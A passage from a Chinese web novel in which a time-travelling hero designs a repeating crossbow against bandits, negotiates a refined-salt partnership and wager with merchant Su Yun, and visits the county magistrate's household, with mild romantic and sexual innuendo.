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将目光落在小姑娘身上,还有你,今天吃了我好几块熊掌,难道不意思意思吗?
小姑娘慌了,她攒的钱和玉佩上次都给了师爷,此时身上分文没有。
小手捏着衣角,显得很是局促,大眼睛水汪汪的望着身边的师父。
她也没想到师爷还管她要钱啊,现在能帮自己付钱的只有师父了。
张神医老脸一红,他本是善医,给很多穷苦人诊病根本不收钱,身上也没什么银子了。
不过也不能眼睁睁看着弟子被师父撵走啊。
又将怀里仅剩的一锭银子掏了出来,这块银子没刚才的大,大约5两左右。
“师父您看,小丫头吃的少,这些您......”
陈息知道榨不出什么油水了,将所有银子都收来,正色道:
“先说好,你们留下来可以,我管饭。”
“但,住的地方没有,你们可要想好。”
新房子还没有建成,实在是没有屋子给他们居住,总不能让他们全挤到炕上吧?
佐千千早有准备,她们的马车很保暖,生个火炉在里面便能休息。
“陈大哥,这点你不用担心,我和小姨可以在马车上休息。”
张神医想起来了,自己也有马车,立即接话道:
“徒儿也有,我也可以住马车。”
他对住在哪里不在乎,一心只想跟师父学医术。
小姑娘倒是无所谓了,虽说和师父男女有别,但他们常年在外行医,简陋环境下,住在一起是常有的事。
“行,既然你们不嫌弃的话,那就这么定了。”
安排好了住的问题,其他也没什么事了。
这老头愿意跟着就跟着吧,自己会医术的事已经传开,村里若是有人来看诊,可以让老头帮自己顶着。
免费的劳力,不用白不用。
安顿好了客人,自己还有工作要做。
新房和暗堡正在建设,接下来要打造一些武器,连**是最适合配备在暗堡的,这东西不需要复杂的工艺,但杀伤力极强。
说干就干,木材有的是,土匪若是再来,正好拿他们试试威力。
陈息冷笑一声,上次不是跑了领头的土匪么,就算你不来,小爷也会去找你的。
我娘子们和兄弟的伤,可不是白挨的。
第74章 秦瑶的新技能
安顿好了马车里的几人,天色已经黑了下来。
由于樊妍来了葵水,秦瑶刚破身子,这货把目光放在了白蓉蓉身上。
都是自己的娘子,夫君有责任照顾每个娘子。
秦瑶哪肯,她最担心白蓉蓉比自己抢先怀孕,生生别着两人,不让陈息得逞。
但见夫君那副饥渴的样子,于心不忍,在陈息的一系列软磨硬泡下,秦瑶开发出来了新技能。
下面不行,但是上面行啊。
秦瑶得知这个办法也行后,一点都没有抗拒的意思,反而很享受的尝了一夜甜头。
第二天醒来后,嘴唇和舌头都是木的,夫君夸了自己口艺好,让她很开心。
白蓉蓉不出意外的又气了一宿,但也没有办法,她现在只期盼新房快快建好,这样就有了和夫君亲密接触的机会。
张神医和小姑娘将一家人的饭食工作主动承担下来,这样师父才不会嫌弃自己。
别看两人是行医郎中,但饭食做的很可以,不比一般的厨子差。
吃了早饭,陈息带着工人上工后,开始了自己的工作,制连**。
首先是要画图纸,各种零部件都要画出来,等宁乱将木匠找来,这些工作就可以交待下去。
小姑娘看着师爷在纸上写写画画,各种线条和注解都有,字她都认识,但组合在一起就不知道是什么意思了。
还有那些奇奇怪怪的图案,大眼睛眨啊眨的,怎么都看不明白。
见小姑娘看的出神,陈息淡淡一笑:
“还不知道你的名字呢。”
小姑娘看的正出神,被师爷的话吓了一跳,立马紧张兮兮的回道:
“回师爷的话,我叫伍怡,七岁时父母病死,后来被师父收养,这些年一直跟着师父行医。”
陈息差点被这个名字气乐了,你管我叫师爷,我管你叫五姨是吧?
这丫头是一点亏都不吃啊,要想在你身上占便宜,看来我只能拿出二神仙的绰号了。
“哪个...伍怡啊...”
陈息试着叫了一声,但怎么都觉得被占便宜了,这称呼实在是别扭。
伍怡见陈息叫的别扭,立即接话道:
“师爷可以叫我小怡,我师父就是这么叫我的。”
伍怡那副乖巧模样,陈息恨不得给她一脚。
你师父那么没正行?管你叫小姨?
这一家子都是什么辈啊。
“那个小怡啊,看出来这是什么了吗?”
陈息看她好奇,想教教这个小姑娘,以后学着画图纸,山中基地正缺这种能写能画的人才。
但他这句话一出口,正巧赶上佐千千带着小姨前来。
小姨轻咳了一声掩饰尴尬,随后接话道:
“陈神医不必客气,我只比你大几岁,不必随着千千这丫头叫。”
陈息扭头一看,小姨和佐千千不知啥时候进来了。
此刻小姨还显得有些不好意思,捋了捋头发,被陈息这句小姨搞的有些不好意思。
陈息嘴角狠狠一抽,组团来占我便宜是吧?
还管你叫小姨?
你那个脑袋瓜是咋想的?
“那应该怎么称呼你?”
这次连夫人都不叫了,陈息倒要看看她怎么说,要是还占自己便宜,立刻撵人,一分钟都不能等。
小姨自从陈息给她医好了病,又想从他嘴里了解精盐的事,表面上不那么冷漠了。
冲着陈息笑着点点头:
“我叫苏韵,是县里苏家盐铺掌柜的,陈神医想怎么称呼妾身都可以。”
苏韵这个名字一出口,陈息一愣,这个名字他可是印象深刻。
她就是陆达口中的苏家盐铺女掌柜,而且手里还有着朝廷的盐引。
这一发现让陈息惊喜不已,原本还想着精盐产能过剩,除了换马匹同样需要售卖,自己无权无势,想打开销路必然要冒险。
虽说有牛大哥暂时撑腰,但私盐这个东西可不是谁都能卖的,光是一个王家自己都应付不了。
在没有绝对自保能力之前,这条路需要慎之又慎。
可眼下,有了自己与苏韵的这层关系,正好可以从她嘴里探明一下苏家对私盐的态度。
“苏掌柜的你好,正好我还要给你复诊呢,来来来,我给你看看鼻子恢复的怎么样了。”
陈息态度来了个180度大转弯,这可是手中有盐引的财神爷,哪能轻易放过。
苏韵明显一愣,她万万没想到
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陈息突然这么热情,从早晨起来到现在他都没问问自己病情,怎么突然......
佐千千自然很欣喜,陈大哥能关心小姨的病情,显然是已经原谅小姨了,陈大哥一定是看在自己的面子上,对,一定是。
佐千千往自己脸上贴金,一切的功劳都揽到在自己身上,心情美美的。
“那...那便劳烦陈神医了。”
苏韵很自然的去搬桌子,她已经知道地方了,不就是躺桌子上嘛,她都无所谓了。
还要不要喊村民来围观呀,反正都破罐子破摔了,不如成全陈神医在村里的威望。
陈息见她去搬桌子,连忙拦住,怪不得人家是掌柜的,就是这么有眼力见,可今天不能让她出丑,自己还要套话呢。
“苏掌柜的别急,今天不手术,不需要那么麻烦。”
陈息招呼苏韵坐下,让她把头仰起,看了看创口恢复的还不错,又吹了些药粉进去。
药粉吹得很干净,一丝一毫都没有撒在外面,不像昨天似的,吹得苏韵满脸花。
陈息的动作连贯舒展,十分细心,看得伍怡满眼都是小星星,师爷好厉害,不光医术高明,心思还这么细腻。
手指轻轻揉了揉苏韵的鼻子帮她固定一下,不出意外,最多两天便痊愈了。
“苏掌柜的感觉怎么样,呼吸可平顺?”
苏韵被陈息一番细心的照顾,搞得很不自在,明明昨天那么粗暴,怎么今天像换了个人似的。
“多谢陈神医,昨晚我呼吸顺畅,好久都没睡过这么香甜的觉了。”
她说的是实话,由于鼻肺反射引起支气管收缩,尤其夜里很是难受,随着病情加重,不及时救治都有生命危险。
“嗯,顺畅就好,不出意外两天便痊愈了。”
苏韵听见这话很是激动,自己被鼻渊症折磨了好些日子,现在听说两天便能痊愈,让她如何不欣喜。
站起身来朝着陈息深施一礼:
“妾身多谢陈神医。”
“不必多礼,不必多礼。”
陈息很热心,又给苏韵沏了一壶茶,下面进入套话环节。
自己的盐业生意能不能顺利开展,接下来,全看苏韵的态度。
第75章 精盐生意
沏好了茶,亲自给苏韵倒了一杯,做了一个请的手势。
“我这乡野陋室无好茶,不知合不合苏掌柜的口味。”
陈息说的十分客气,这茶可是在县里高价买的新茶,难喝也难喝不到哪去。
“谢谢陈神医。”
苏韵被他搞得很局促,又是给自己看病,又是沏茶的,而且态度出奇的好。
优雅的端起茶杯轻抿了一口,放下茶杯,双手很自然的放在腿上,大家闺秀风范尽显。
“味道很好。”
就四个字,多一个字都不带说的。
陈息在心里暗骂,这犊子让你装的,比自己还圆润。
他哪里知道,苏韵平时就是这个样子,对待陈息的态度算超级好,平时寻常男子根本近不得她身,更别提喝他的茶了。
“苏掌柜的盐铺生意好不好啊?”
“还可以。”
“每天买盐的百姓多不多啊?”
“还行。”
“苏家的盐都售往哪些地方啊?”
“周围。”
陈息站起身来,抱拳拱手:
“喝完茶,把茶壶给我洗好。”
说完话转身就走,踏马的,老子不侍候了。
八竿子打不出个屁来,套话?套你二大爷。
老子宁可不卖盐了也不受这份鸟气。
他彻底无语了,怎么跟后世相亲对象一个德行,永远都是问一句答一句,再不就是去洗澡了,没看见信息。
呸,**,真当老子是舔狗了。
苏韵见陈息要走,连忙拦住他,她还有好多私盐的问题要问呢,她可不想错过这个机会。
“陈神医,我有事想问问您,您的盐售不售卖?”
一听这话,陈息站住了。
深吸几口气,努力平复一下情绪。
转过身来态度缓和一些,对我的盐感兴趣了是吧,下面开始我拿捏拿捏你了。
“苏掌柜的对我的盐感兴趣?”
苏韵平时根本不与男子聊天,最多就是与铺子里管事的交代一下工作,其余时间都在把控生意布局。
像今天这样与男子谈生意,她还是头一遭,显得很不习惯。
既然自己不善聊天,那么便直奔主题,说出自己最感兴趣的精盐问题。
“是的陈神医,您的盐品质非常好,不知是从哪里购得?”
陈息拍拍身子坐下,端起茶杯喝了一口,眼神很是深邃的盯着苏韵:
“这盐,是我自己制的。”
抛出诱饵,看鱼儿上不上钩。
他倒不担心苏韵到官府举报自己,这女人只是性子冷了些,苏家盐铺生意都要被王家抢光了,举报自己对她没什么好处。
反倒是自己的精盐技术,才是她的救命稻草。
苏韵听他说是自己制的盐,眼睛一亮,感觉机会来了,继续问道:
“陈神医制的这种盐,产量如何呀?”
“不多,很费功夫的,平时家里用用而已。”
陈息装傻,目的就是观察苏韵的神色,直接要说每天能量产个几百斤,这女人能把价格压的死死的。
果然不出他所料,苏韵听见这句话后,表情明显失望了一些,但依旧不死心追问道:
“那陈神医的这种盐,打不打算在县里售卖?”
苏韵心想也难怪,这种品质的精盐怎么可能大量量产,一个月能制几斤便不错了,这还是在原材料充足的情况下。
但自己能买一些到铺中,宣传一下铺子也是好的。
现在铺子生意很差,她不能坐以待毙,任何一个机会她都想尝试。
“苏掌柜的你也清楚,私自贩盐可是杀头的罪过。”
陈息继续试探,这女人究竟敢不敢卖私盐,如果她不敢,自己只能另寻出路。
苏韵想都没想便接话道:
“陈神医请放心,我苏家有朝廷的盐引,卖些私盐再轻松不过了。”
“何况整个白山县,又不止我一家贩卖私盐,朝廷现在征战,只要交够了税银,便不会深究。”
苏韵想通过这种方式降低陈息的戒心,家中还有些老关系,就算朝廷查下来,打点一番罢了。
再说,王家的关系未必有苏家强,王家生意好是因为有个自家的盐矿,苏家没有这方面的资源,只能眼睁睁的被抢生意。
“既然苏掌柜的这么说了,那我便不担心了。”
“可以售卖,不知苏掌柜的要多少精盐?”
陈息听到苏韵这个答复很开心,陆达上次已经吐露给他信息,苏家是想卖私盐的,只是苦于没有门路。
但什么事都不能只听别人说,还需要亲自验证。
果然,苏韵是想卖私盐的,守着规矩做生意,别提发财了,能不饿死就烧高香了。
自古以来经商就是这样,能给你带来一倍的利润,商人就不再守规矩,十倍的利润,脑袋别裤腰带上都敢做。
人为财死,鸟为食亡!
苏韵见陈息刚才都说了,制精盐没那么简单,只够家中用用而已,她便没敢多要,伸出两根葱白玉指,试探性问道:
“两斤?”
两斤对她来说拿回去给铺子撑撑场面,或许能挽回一些生意。
陈息撇撇嘴,刚才说的太保守了,这女人想必是小瞧了自己,第一次与这女人做生意,还是小心一些。
“两斤还是太少了,来回县里路途遥远,都不够个脚程钱。”<
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br>“我可以先卖你100斤,就是不知苏家吃不吃得下?”
苏韵惊呆了,刚才不是说精盐难制么,这一会的功夫就出100斤?还问自己吃不吃得下?
这种品质的精盐,别说100斤了,只要价格合适,1000斤也能吃得下啊。
而且以她对盐业生意的了解,县里贵人们在乎的不是钱,而是品质。
100斤精盐,她自信10天之内便会售空。
有了充足又稳定的货源,苏家盐铺生意重回巅峰指日可待,并且很有机会再进一步。
她庆幸刚才没有问陈息的精盐来路和制作方法,现在更不可能问了,谁都不会将核心机密透露于人。
苏韵深吸了几口气,100斤精盐足以缓解苏家盐铺的危机,现在最主要的就是谈价格了。
“陈神医想要个什么价格?”
苏韵很紧张,她怕陈息狮子大开口
,这种品质的精盐她在心中已经有了价位,那就是不要超过1两银子一斤,不然自己就没利润了。
私盐100文一斤,官盐300文一斤,这种精盐1两银子进货,卖个1两多一些,她自信还是能卖出去的。
陈息一瞬不瞬的盯着苏韵,陆达那边是50斤精盐换一匹蒙马,蒙马价格是50两银子以上,只要苏韵开出不是很离谱的价格,自己还能接受。
“我对盐价不是很了解,苏掌柜的你说吧。”
我现在可是二神仙,你要把我当成二傻子,我可不接受。
苏韵想了想,陈神医家中那么多人做活计,昨天二夫人给大家发工钱她都看到了,比县里还要高出很多。
工人的伙食也有荤腥,昨天还宴请他们吃了熊掌鹿肉,这种人可万万不能占他便宜,不需要讨价还价,直接一步到位。
也是自己能出到的最高价额,再次伸出一根玉指,语气十分郑重:
“1两银子一斤。”
陈息眯着眼睛看着她,这女人还可以,二神仙的名号保住了,第一次做生意,可以先给她的点甜头尝尝。
“成交!”
“不知道苏掌柜的回去,要把这精盐定到什么价格呢?”
苏韵见陈息痛快,自己也不再藏着掖着了,如实答道:
“我想定价在1两银子多一点,有些利润便可以了。”
陈息微微一笑,这女人表面看起来很聪明,但还是不懂得高端商业逻辑,物以稀为贵,价格越高,越畅销。
后世那些奢饰品,就是最好的例子。
接下来,我就要好好的和你谈谈了,毕竟这是自己商业蓝图的第一步。
以后可不是单单卖个精盐那么简单。
第76章 苏韵的赌注
“这个价格可以,但你的卖价有些低了。”
苏韵一愣,卖价低可薄利多销嘛,价格定的太高了,势必会影响销量。
陈息见她那副表情,就知道这女人陷入了思维误区,轻笑一声继续道:
“苏掌柜的,不如我提出个建议,你不用承担任何风险,只需贩卖即可,要不要听听?”
苏韵听完陈息的话,来了兴趣,常年做生意的她,感觉到这个建议会有些不寻常。
“陈神医您说。”
陈息笑了笑,抬眼直视苏韵,漆黑的眸子很是深邃,令人看不出他在想什么,要想占据谈判的主动权,气势上一定要压倒对方。
“精盐定价2两银子一斤,按照七三分,每斤我要1两400文,你得600文。”
陈息说完,就微笑的看着她,要想长期合作,必须要将这女人拉到自己船上。
不需要任何担风险,还给你三成利润,这种生意她没理由不答应。
其实陈息完全可以给卖给他1两银子1斤,但她的定价低,利润薄,刚开始还可以,时间一旦久了,保不齐会出现什么变故。
最稳妥的办法就是双方互利,只有将利益捆绑在一起,生意才能长久的合作下去。
自己守着盐矿,根本不缺原材料,说白了就是拿出三成利润,换你个盐引使用权。
苏家如今是什么情况,他心里门清,苏韵要想摆脱困局,只有这一条路可走。
苏韵听懂了陈息话中意思,2两银子价格虽然高,但也不是不能接受。
只是这种合作方式自己还没接触过,这样一来,自己的确不需要担什么风险,反而利润翻倍。
但陈神医这么做,他不会亏么?毕竟他需要提供精盐,拿七成利润会不会有些少?
“这样分配,是不是对陈神医有些不公平?”
苏韵看到了商机,这也许是苏家翻身的契机,但她想长期合作下去,不能让单让他吃亏。
“我这边你不用担心,但是做这桩生意之前,苏掌柜的还需处理一些事情。”
陈息最关心的问题来了,如果她能处理好这件事,那么自己的计划便能顺利开展。
苏韵仿佛知道陈息要问什么,展颜一笑:
“我知道陈神医要问什么,您放心,任何人想要从中作梗,都是不可能的。”
“我苏家,上面还有些关系。”
苏韵抬手向上指了指,笑容愈发灿烂,苏家虽没落了些,但这些年积攒下来的关系,不比王家差。
陈息淡淡笑了笑,知道这女人想歪了,王家是不可能在这上面找麻烦的,这几年为什么不把苏家的生意全吞了,是有道理的。
王家卖私盐可以说是人尽皆知,之所以不把苏家逼的那么紧,完全是怕苏家向上举报。
到时候不光没钱赚,还要落个杀头的罪名。
现在的局面正是王家想要的,苏家有生意做,王家闷声发大财。
断人财路如同**父母,苏家能维持住生意,才不至于鱼死网破。
“苏掌柜的您误会了,我说的不是上面,而是下面。”
上次陆达已经和陈息说了,王家与土匪有勾结,苏家精盐问世,必定冲击王家的生意。
大家表面上公平竞争,但背后可是暗流涌动。
明面上大家和和气气,但把王家逼急了,土匪这张牌他是必出的。
苏韵错愕一下,她清楚陈息说的下面是什么意思,同样也知道王家与土匪有联系,但她不认为王家敢那么做。
“陈神医多虑了,我的生意在县城,给土匪十个胆子,他们也不敢进城的。”
苏韵很镇定,朝廷虽然连年征战,但对地方的管控还是很牢固的,不然土匪敢进城行凶,这天下也就大乱了。
陈息有些无语,这女人看起来挺精明,但脑子还是有些不够用,既然达成合作,有些事就跟她明说了吧。
“土匪不是不敢进城,是没必要。”
“你苏家盐铺之所以开的好好的,是王家故意放水的。”
“你有生意做,他们才能闷声发大财,大家井水不碰河水。”
“但苏家精盐问世,势必会冲击王家生意。”
“到时候,可不单单只是行凶那么简单了。”
陈息把话说的很直白,在巨大的利益面前,所谓的人性不值一提。
苏韵有些不服气,觉得陈息是在危言耸听,语气也有些不满:
“按照陈神医这么说,那王家早就派土匪把我害**,何必留着我苏家和他抢生意呢?”
陈息再次轻笑一下,这女人胸也不是很大啊,怎么就这么无脑呢?
亏你还做了这么多年生意,连这点问题都看不明白么?
“大御每个县都有两家朝廷盐引,知道朝廷为什么这么做么?”
苏韵轻哼一声,这种问题太简单了,他不会把我当成那种无知女子了吧,分明是在贬低我。
“陈神医问这话,是在贬低妾身么?”
苏韵非常不服气,她最痛恨别人看不起自己一个女人,她认为男人能做的,女人同样能做。
这也是她厌男的原因之一,最看不惯那些高高在上,自以为是的男人。
“之所以每县都有两家盐引,是为了互相制衡,若只有一家盐引,商人为了追求高利润会故意抬高盐价,百姓更加吃不起。”
“**。”
陈息为她鼓掌,看来这女人还没傻到极致,只是意识不到问题的重点,还不算一无是处。
见陈息在鼓掌,苏韵冷哼一声,装模作样,真以为本夫人是傻的么?
这种问题连三岁孩童都知道,若不是与你达成合作,本夫人立即就走。
“苏掌柜的说的对,王家之所以不害你,是因为你对他造成不了威胁,杀了你,朝廷还会派人来接替你的
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盐引,他杀的完么?”
“哼,陈神医既然知道这个道理,那为何还会认为王家要杀我?”
“因为你的精盐卖的快,而且质量好,会抢了他很多生意。”
苏韵都要被陈息气笑了,合作刚刚达成,八字还没一撇呢,大话就先说出来了,亏本夫人还认为你有些才华,原来也只是个会吹牛的笨蛋而已。
“一斤精盐卖2两银子,陈神医不会认为这么高的价格,会卖的很快吧?”
“嗯,很快。”
陈息毫不思索答道。
苏韵面无表情的点点头,心里已经无语**,早知道他是这样的笨蛋,自己一定不会和他合作。
“很快是多久呢?”
她想挫挫陈息的锐气,2两银子一斤的精盐,一个月能卖完100斤就不错了,你说的很快是多久呢?
“三天。”
苏韵这次是真被陈息气笑了,用手掩住唇,脸色也有些红,缓了好一会才答道:
“不用三天,十日之内若是卖完,我那三成利润不要,都是陈神医的。”
“但,若是卖不完呢?”
苏韵倒不是想坑陈息,她是有心治治他,这种好高骛远的性格必须要吃点亏收敛一下,不然以后合作上,少不了很多分歧。
陈息眼睛一亮,等的就是你这句话,想要这种女人心服口服,不下点猛料是不行的。
“不需十日,我还是那句话,三天。”
“三天之内若是卖不完,我不光不要利润,而且苏掌柜的还要答应我一件事。”
“你说。”
苏韵只想尽快离开,已经懒得与他废话。
“以后在合作上,任何事都要听我的,反之亦然。”
“好,既然陈神医这么有把握,本夫人答应了,到时大家都不可反悔。”
“没问题。”
陈息给她装了100精盐到马车上,与苏韵和佐千千道了别,转身离开。
由于陈大哥和小姨谈生意,佐千千和伍怡很知趣的离开,她并不知道两人谈的怎么样,只看小姨气呼呼的坐在车厢里。
“小姨,你和陈大哥没谈好吗?”
苏韵轻呼一口气,才将自己与陈息的合作讲了出来,连带最后的赌注也告诉了佐千千。
佐千千听完,一张小脸愁的不成样子,陈大哥怎能与小姨下这种赌注嘛。
小姨做盐铺这么多年,怎能不知盐价与销量。
她在心里已经认定陈息毫无胜算,这分明就是送钱给小姨,以后还要事事都听小姨的。
看出佐千千为难,苏韵捋了捋鬓角,开口道:
“放心吧,你陈大哥的利润我会给他的,只是借此事让他长些教训,好高骛远不是好事。”
见小姨不是真的为难陈大哥,佐千千很欣喜。
看着车帘外的雪景,她心里忽然泛起一丝预感。
或许...或许陈大哥真的会赢呢?
第77章 人才
送走了苏韵,佐千千,陈息回到屋中,见伍怡看着图纸边看边画。
悄悄来到她后面抻脖子看去,眼睛顿时就移不开了。
还别说,伍怡这丫头画的有模有样,就是其中一些数字符号不是很理解,其他地方都标准还原了。
这一发现令陈息有些惊喜,自己这徒孙女是个人才啊。
只用了不到一上午时间,便能画点精髓出来。
“咳...”
陈息故意轻咳一声,把伍怡吓一跳,回过头来便看到师爷那张严肃的脸。
“师...师爷。”
伍怡见陈息脸色严肃,急忙放下纸笔退到一边,低着头手捏着衣角,像个犯了错的小孩子。
“别怕,来师爷给你讲讲。”
陈息有些尴尬,自己不是故意装作严肃的,只是看图纸看的认真,看来这小姑娘挺怕自己的。
“嗯嗯,好的师爷。”
伍怡显得有些局促,因为她摸不准师爷的脾气,生怕不小心惹怒了师爷,她身上可没有钱了啊。
最值钱的玉佩上次还孝敬了师爷,师爷要是再赶自己走,自己就无家可归了。
伍怡小心翼翼来到陈息身边,抿着小嘴不敢说话。
陈息无奈一笑,看来上次是把小姑娘坑怕了,到现在还对自己有防备呢。
“坐吧,师爷给你讲讲......”
陈息让伍怡坐下,从连**的零部件的讲起,每道工序起什么作用,**机、**臂、**箭等等。
他讲的很细致,伍怡也由最初的紧张,逐渐变得认真起来,看不懂的地方还会主动询问。
伍怡通过陈息的耐心讲解,越来越专注,后面甚至能举一反三。
陈息很是惊讶,这小姑娘天生对图纸敏感,把她教好了,将来自己能省下很大力气。
从怀里掏出伍怡那块玉佩,放在手中摩挲。
“好好看,先把连**的结构吃透了,以后若是能做出来,师爷有奖励。”
从陈息拿出那块玉佩起,伍怡的目光在玉佩上就移不开了,那是自己的东西,上次一激动孝敬师爷了。
回去之后她便后悔了,但送人的东西怎能往回要,何况对方还是自己的师爷。
“嗯嗯,小怡一定会努力的,谢谢师爷。”
见小姑娘被自己的玉佩吸引,陈息得意一笑,拿捏个小姑娘简直不要太轻松。
“师爷现在要去做连**,你来不来帮忙?”
“要帮要帮。”
伍怡点头如小鸡啄米,师爷说了,做的好了有奖励,把师爷侍候高兴了,兴许能把玉佩奖励给自己。
“行,跟师爷来吧。”
陈息迈着六亲不认的步伐就出屋,材料都已经准备齐全,剩下的只有一个字干。
连**是必须要做的,土匪说不定哪天就会来,相应的武器必须要准备好。
这东西的结构简单,适合大量生产,省时省力,就连妇人都能轻松操作。
新房和暗堡这几天就会竣工,到时候抵御一下土匪完全绰绰有余。
伍怡被玉佩吸引,完全不知道自己被师爷当成了免费劳力。
陈息找个单独的屋子,开始忙活起来,除了吃饭,整天都关在里面。
伍怡很卖力气,帮陈息
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打胶打磨固定,画了一上午图纸,各部件结构烂熟于心,再加上心灵手巧,很快便熟练掌握。
有了免费劳力帮忙,陈息倒是很轻松,时不时指点一下伍怡,忙活了一下午,一把连**的配件成型。
又做了一些**箭,箭头全部以穿透力为主,爷俩忙活到半夜才休息。
翌日清晨。
陈息刚梳洗完毕,宁宁早早便赶来。
“大哥好。”
宁宁很懂事,来了便和陈息打招呼,小姑娘这阵子每天吃好喝好,脸蛋上也有肉了,整个人愈发的水灵。
陈息见到宁宁眼前一亮,这还有个免费的劳力,正好和小怡作伴。
“宁宁啊,大哥最近有点忙,能不能帮帮大哥?”
“好呀大哥,”
宁宁见有事情做,显得很开心,之前都是和两位嫂嫂学写字女红,正愁帮不上大哥呢。
“好,宁宁以后便跟着小怡吧。”
陈息将两个小姑娘介绍认识,由于两人年岁相仿,很快便熟络起来。
又找来几个男工给小怡打下手,吩咐她们只做连**配件就可以,等自己回来组装。
安排好了一切,和三位娘子道别,驾着张神医的马车便来到县城。
光靠苏韵,三天是万万卖不掉100斤精盐的,这点他心里有数。
要想赢得这场赌注,自己只能找找关系了,不然输了,乐子可就大了。
而且他的盐业目标,可不单单是白山县,周围的县城也要带动起来。
能帮上他的,只有牛大哥,还有那位小甜甜。
呸!
牛夫人!
第78章 夫人的心思
陈息驾着马车到县城,一路直奔府衙。
门口衙役见离老远便看到陈息,七八个衙役眼睛一亮,连岗都不站了,以百米3个脚印的速度跑来。
“陈神医您来了,快把马车交给小的。”
“陈神医别给他,我早就备好了上等的草料,您的爱马,就是我亲爹亲娘。”
“呸呸,你亲爹娘吃草料啊?陈神医将马车交给小的,我爹娘吃豆饼,咱的爱马必须吃豆饼。”
七八个衙役为了争夺亲爹娘的抚养权,差点打起来。
有路过的百姓好奇,一大早的衙门口,一群衙役拉着马车不松手,嘴里喊的全是父母双亲,不多时便围来一群百姓看热闹。
陈息见事态不妙,百姓越围越多影响不好,立即开口道:
“都别抢了,伺候好了马匹,你们几个都有赏。”
衙役一听都有赏,一个个谄媚之极,连忙牵着马车进县府。
马匹有这几个孝顺的衙役侍候,陈息是一点不担心。
不用他开口,立即有人去通禀县老爷。
不多时,府门口,牛奔人未到声先至。
“哈哈哈,我老弟来啦,快快有请。”
牛奔顶着个秃脑壳,大笑着出门,迎上陈息就是一个大大的熊抱,什么规矩礼仪的,在他这完全没有。
陈息后背被他拍的生疼,咧着嘴还是客气回道:
“牛大哥,小弟今天特地带着礼物来看您。”
“老弟走走走,内宅备酒。”
牛奔爽快的不像话,上次没和陈息痛饮一番就很遗憾,今天必须要好好聚聚。
不由分说,拉着陈息就往内宅进,一边走一边喊:
“夫人呐,你看看谁来了?”
夫人此刻身体痊愈了,正在屋内浇花,听见老爷喊自己,眉头微微一皱。
老爷平时性子大大咧咧,每次来贵客都要饮酒醉倒,自己烦不胜烦。
“翠翠,你去告诉老爷,说我身子不舒服,不见客。”
“好的夫人。”
翠翠了解夫人脾气,知道她喜欢清净,立即小跑出门。
此时牛奔带着陈息已经拐过了月亮门,直奔内宅而来,翠翠见老爷带着的是陈息,二话不说,噔噔噔又跑了回去。
经过两个折返跑,翠翠累的气喘吁吁。
“夫...夫人......”
夫人见翠翠慌乱,心中有些气恼,这丫头今天怎么了,连吩咐的事都做不好。
翠翠喘匀了,捂着胸口急忙开口:
“夫人,老爷带着陈神医来了。”
翠翠知道陈息为夫人医好了病,是县府的大恩人,她不敢擅自做主,又回来禀告夫人。
一听见陈神医来了,夫人立即不淡定了,脸上悄悄爬上两朵红韵,连忙吩咐:
“快,翠翠你让老爷摆酒,我要与陈神医饮几杯。”
夫人通过两次被陈息医治,大腿早被他看光了,尤其上次还把自己裤脚提的那么高。
也不知道他看没看见自己那里......
那种心痒酥麻的感觉,她至今怀恋。
这几日躺在床上休息,每每思及此处,便一股异样的反应笼罩全身。
闭上眼就看见陈息那道壮硕的身躯,俊朗的外表,她就犹如少女情窦初开般难耐。
回想起,自己嫁给这个天阉老爷这么多年,除了对自己好,其它一无是处。
连睡觉都不在一张床上,更别提碰自己了。
每每和县里贵妇们聊天,她们总能谈到自家男人如何生猛,自己可从来没体会过那种滋味。
还不能同她们说自家老爷天阉,所有的委屈只能自己默默承受,本想着守着这个天阉平平淡淡过一辈子算了。
可直到陈息的出现,不知他有意还是无意的,这家伙三番两次总能撩拨到自己。
这两天她的脑袋里全是陈息的影子,哎,这个小冤家总算来了。
“嗯嗯,好的夫人。”
翠翠瞧出夫人有些不对劲,具体哪里不对劲,她也想不清楚,只能乖乖又跑去禀告老爷。
不多时,牛奔带着陈息进了内宅。
“夫人呐,陈神医来了,还不出来见客。”
屏风后,夫人袅袅婷婷走来,她刚换了一身淡蓝色衣裙,看得出刚整理的头发,脸上红扑扑的,不知抹了什么胭脂,一股绝美**的既视感。
“陈小友您来啦。”
夫人盈盈一礼,那副端庄典雅模样,丝毫不输苏韵。
陈息眼睛一亮,两次前来都是与夫人在床上交流,今天还是第一遭见她施礼,那股子成熟韵味扑面而来,不禁咂了咂嘴。
“陈息打扰了夫人,请您见谅。”
陈息回礼,一低头看见夫人穿了双粉色绣花靴,这不是少女的穿着么,没想到夫人还好这一口。
“夫人呐,还叫什么陈小友,显得那么生分。”
“我和老弟情同手足,以后就叫叔叔。”
牛奔直来直去,把陈息当成了手足兄弟。
夫人脸蛋又红了一下,轻声说道:
“叔叔...”
陈息听见这称呼,浑身一哆嗦,上一个管自己叫叔叔的嫂嫂,已经成了自己娘子。
并且在夜里运动时,他还强迫樊妍管自己叫了叔叔几回,好几次都是因为这声叔叔,让自己缴械了。
现在这个熟悉的称呼又来了。
“嫂嫂不必多礼。”
陈息很自然的回了声嫂嫂,他倒不是故意的,反正都是牛大哥让的,对吧?他只是讲文明懂礼貌而已。
“这就对了嘛,以后咱们就是一家人。”
牛奔高兴的大手一挥,吩咐下人摆酒席。
“老弟,今天一定要陪老哥痛痛快快喝几杯,不然老哥就要生气啦。”
“大哥既然都说了,老弟怎敢不从,只是嫂嫂还在身边...”
陈息本想提一句夫人在身边,大家少饮些酒,自己有事求人家,不能喝的太多。
夫人见陈息有些犹豫,立即接话道:
“叔叔不必拘礼,嫂嫂今日也要陪叔叔饮几杯。”
牛奔闻言大喜过望,夫人可是从不饮酒的,今天这是见到了老弟开心,难得夫人不拦着自己喝酒,美的他鼻涕泡都要出来了。
“好好好,你嫂嫂都开口了,老弟你还磨叽什么,快快快,摆酒席。”
牛奔急不可耐,恨不得马上开怀畅饮。
翠翠为三人奉上了茶,几人又客套一番,不多时,下人便将酒席摆好。
陈息见逃不过,只能上桌,但他总感觉夫人看自己的眼神不对劲,就像当初樊妍看自己时一样。
脸蛋红扑扑的,而且眼神都要拉丝了。
牛奔先给陈息倒了一杯酒,又分别给夫人和自己满上。
“老弟,一路上受凉了,先干一杯,暖暖身子。”
牛奔不管别人,说完话便一饮而尽,夫人管的严,他可是馋坏了。
一杯酒下肚,牛奔脸上便上了颜色,向陈息一亮杯底:
“老弟,为兄先干了。”
动作一气呵成,不知道的还以为县老爷是土匪出身呢,不然咋这个做派。
陈息端起酒杯,看了眼酒色微黄,通体浑浊,这就是这个时代的酒么。
他穿越过来还是第一次喝酒,不过看这酒的卖相,质量不高是肯定的了。
